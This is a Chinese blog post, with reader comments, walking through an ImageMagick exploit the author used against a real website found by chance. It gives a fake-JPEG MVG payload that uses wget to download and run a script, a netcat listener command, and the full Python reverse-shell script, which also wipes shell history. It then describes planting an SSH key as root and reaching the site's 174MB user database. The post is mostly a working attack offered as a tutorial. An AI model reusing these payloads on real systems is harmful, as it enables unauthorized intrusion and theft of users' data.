思路枯竭的imagemagic渗透
【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】
【废话】仁兄,好久不见,你们还记得我么?最近你可还好,可还行?我曾说过我准备和朋友开烧烤店。我还说过喝雪花啤酒吃卫龙。我还发过这篇文章。非常感谢朋友的留言及回复及大力支持,我没有一一回复,深表抱歉。其实这个漏洞是5月初,刚刚爆发这个imagemagic漏洞的时候,我恰巧碰到这样一个站点,随手把玩了一下。这个是我早早就已经算是写好的文章吧,至少在我还去青岛开店之前。只是我今天才公布而已,早都写好了,只不过在我个人博客里面加了个密。。嘿嘿。
【前提】今天主要是imagemagic漏洞利用。
仁兄,本文利用了如下所列工具:
一、NC.exe (中文名:瑞士军刀)
二、外网环境(所谓的外网环境就是拿着笔记本在外面 噗,这话说出来我自己都不信,开个玩笑,如果没有外网环境也最好要有外网服务器一台)
三、WinSCP 下载地址:http://winscp.net/eng/docs/lang:chs
四、back.py
-------------------------------------------------------------------------------
【正文】本文主讲imagemagic,其实他还真没什么可讲的。。。噗,仁兄,此处我已经自己掌嘴。重点还是思路吧。
某日,本人坐在电脑前发呆。。。经常爆最新漏洞,很多漏洞都是在测试环境下玩耍,真正利用到实战中也太少了啊。看着人家什么微信执行命令、新浪某站执行命令打进内网什么什么的。我就纳闷了。WHY?我怎么就是找不到呢?可能是我这个人太笨吧。额额额,跑题了。自己又掌嘴了。算了,从新来过。
某日看到一个站点。手贱,测试测试XSS,,,没有。。。测试测试csrf,,有。。。测试测试越权,,有。。。额对了有个最新漏洞,测试一下吧。如图:
在这个头像上传的地方我随意上传了一个图片,但是本着测试最新imagemagic漏洞的精神,仁兄,我们需要如下操作。首先,咱们建立一个txt文件,录入如下内容:
1 2 3 4 | push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|wget http://这里是你博客的地址/back.py -O /tmp/x.py && python /tmp/x.py 此处是你的外网IP地址,或外网服务器IP 监听端口")' pop graphic-context |
把上面的内容更改成你的。。。怕仁兄你不明白,下面是我的示例:
1 2 3 4 | push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|wget http://gdd.gd/back.py -O /tmp/x.py && python /tmp/x.py 1.190.190.1 5432")' pop graphic-context |
看到了吧。我的IP是1.190.190.1,我监听的端口是5432。从我博客请求脚本。好了。录入完这些内容,仁兄,需要你把这个txt文本改为jpg格式,就是改一下这个文件的后缀,把txt变为jpg。。
现在我们需要拿出NC监听工具来监听5432端口。监听命令:
nc -vv -l -p 5342
好了,我们上传经过伪造的这个图片。。。然后如果对方服务器存在imagemagic漏洞,那么会触发这个脚本。如图:
看到了吧,咱们这边监听的nc有了反应,看来已经触发了咱们的命令。咱们现在已经可以执行任意命令了。就是想干嘛干嘛了。其实到这里就已经可以结束了。。。仁兄,下面的内容愿意看就多看两眼,不愿意看就略过吧。
不过仁兄,我对这个窗口很是反感啊。因为毕竟各种执行命令。一顿列目录,一顿查找,说实话,没找到网站目录!!!好吧,承认了是我自己蠢。没办法。
对了这里给出back.py脚本的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | # -*- coding:utf-8 -*- #!/usr/bin/env python """ back connect py version,only linux have pty module code by google security team UDP by anthrax@insight-labs.org """ import sys,os,socket,pty shell = "/bin/sh" def usage(name): print 'python reverse connector' print 'usage: %s <ip_addr> <port> [udp]' % name def main(): if len(sys.argv) <3: usage(sys.argv[0]) sys.exit() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: if sys.argv[3]=='udp': s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) except:pass try: s.connect((sys.argv[1],int(sys.argv[2]))) print 'connect ok' except: print 'connect faild' sys.exit() os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE",'/dev/null') os.putenv("HISTSIZE",'0') os.putenv("HISTFILESIZE",'0') pty.spawn(shell) s.close() if __name__ == '__main__': main() |
此脚本是 insight-labs 大神所写呦。
后来想起来,直接用SSH图形工具链接管理多好。。。这里就用到了winscp软件。但是首先我们需要通过上面的命令窗口进入/root/.ssh/ , 然后写入ssh公钥。//仁兄,SSH 这块我就不详细讲了吧? 搜索引擎太多太多相关文章了。
写入公钥后,然后我们就可以用winscp工具来链接了。使用这个工具就像使用FTP一样。。如图:
通过这个就方便多了。找到了网站目录,还有数据库目录,特别特别特别深!!!看你图挺简单,我没实际进入呢,实际不是这里。。特别特别深,不知道管理员咋想的。
最终发现数据库,用户表
通过图也能看到,光用户的数据表,已经打到了 174MB大小。。。 给大家留一道题,174MB大小的数据库文件,里面会有多少用户数据???
此文没什么亮点,但是仁兄,相信你学习到最新imagemagic漏洞的利用方法了吧~!~ 这个漏洞可是已经祸害了很多大站的漏洞哦,微信、新浪、百度等等,很多大站基本都中招了呢。。。
fill ‘url(" rel="nofollow ugc">“|wget http://这里是你博客的地址/back.py -O /tmp/x.py && python /tmp/x.py 此处是你的外网IP地址,或外网服务器IP 监听端口”)’
pop graphic-context
这里 /tmp/x.py 是什么东东呢,
这个x.py 在文章中有写啊 就是back.py
老哥,你的烧烤店开起来了么。啥时候有机会去尝尝去
原来开烧烤店都这么牛逼 不过我开火锅店也还不错 嘿嘿
哎呦 朋友在哪开火锅店???
大武汉